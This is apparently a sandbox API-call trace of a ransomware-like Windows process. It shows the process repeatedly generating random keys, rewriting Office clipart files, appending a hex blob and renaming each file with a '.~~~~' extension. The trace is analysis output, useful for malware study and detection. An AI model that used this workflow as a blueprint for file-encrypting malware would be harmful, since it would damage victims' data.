	[0109.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0109.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875ef8
	[0109.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.364] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0109.365] GetLastError () returned 0x0
	[0109.365] GetLastError () returned 0x0
	[0109.365] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0109.365] GetLastError () returned 0x0
	[0109.365] GetLastError () returned 0x0
	[0109.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffa780, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.387] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x5880, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x25dfec0*=0x5880, lpOverlapped=0x0) returned 1
	[0109.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.389] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.389] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.389] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.389] CloseHandle (hObject=0x130) returned 1
	[0109.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.~~~~")) returned 1
	[0109.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0109.956] GetLastError () returned 0x0
	[0109.957] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0109.958] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.958] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0109.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0109.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0109.958] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22994853531) returned 1
	[0109.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab2e99b0, dwHighDateTime=0x1d60e1e)) 
	[0109.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0109.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0109.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0109.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808b10
	[0109.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0109.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0109.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282aff0
	[0109.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.972] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0109.972] GetLastError () returned 0x0
	[0109.973] GetLastError () returned 0x0
	[0109.973] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0109.973] GetLastError () returned 0x0
	[0109.973] GetLastError () returned 0x0
	[0109.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff878, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.988] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x788, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x788, lpOverlapped=0x0) returned 1
	[0110.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.011] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.013] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.013] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.013] CloseHandle (hObject=0x130) returned 1
	[0110.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0110.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.~~~~")) returned 1
	[0110.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0110.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.026] GetLastError () returned 0x0
	[0110.029] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0110.034] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.034] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.034] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23002645094) returned 1
	[0110.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab3ce1f0, dwHighDateTime=0x1d60e1e)) 
	[0110.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808b80
	[0110.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b80 | out: hHeap=0x300000) returned 1
	[0110.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0110.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b2e8
	[0110.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0110.038] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.038] GetLastError () returned 0x0
	[0110.038] GetLastError () returned 0x0
	[0110.038] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.039] GetLastError () returned 0x0
	[0110.039] GetLastError () returned 0x0
	[0110.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffaec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.319] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x514, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x514, lpOverlapped=0x0) returned 1
	[0110.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.319] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.320] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.320] CloseHandle (hObject=0x130) returned 1
	[0110.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.320] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.~~~~")) returned 1
	[0110.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.321] GetLastError () returned 0x0
	[0110.321] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0110.322] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.322] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.322] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23031238566) returned 1
	[0110.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab5e3530, dwHighDateTime=0x1d60e1e)) 
	[0110.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808cd0
	[0110.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808cd0 | out: hHeap=0x300000) returned 1
	[0110.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b418
	[0110.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.323] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.323] GetLastError () returned 0x0
	[0110.323] GetLastError () returned 0x0
	[0110.323] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.323] GetLastError () returned 0x0
	[0110.323] GetLastError () returned 0x0
	[0110.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe582, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.326] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1a7e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1a7e, lpOverlapped=0x0) returned 1
	[0110.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.327] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.328] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.328] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.328] CloseHandle (hObject=0x130) returned 1
	[0110.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.328] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.~~~~")) returned 1
	[0110.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.329] GetLastError () returned 0x0
	[0110.329] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0110.330] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.330] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.331] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23032081381) returned 1
	[0110.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab5e3530, dwHighDateTime=0x1d60e1e)) 
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808d08
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d08 | out: hHeap=0x300000) returned 1
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b7a8
	[0110.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.332] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.332] GetLastError () returned 0x0
	[0110.332] GetLastError () returned 0x0
	[0110.332] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.332] GetLastError () returned 0x0
	[0110.332] GetLastError () returned 0x0
	[0110.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.335] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1e00, lpOverlapped=0x0) returned 1
	[0110.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.336] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.336] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.336] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.337] CloseHandle (hObject=0x130) returned 1
	[0110.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.337] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.~~~~")) returned 1
	[0110.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.338] GetLastError () returned 0x0
	[0110.339] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.340] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0110.340] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0110.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.340] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23033028366) returned 1
	[0110.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab609690, dwHighDateTime=0x1d60e1e)) 
	[0110.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808d40
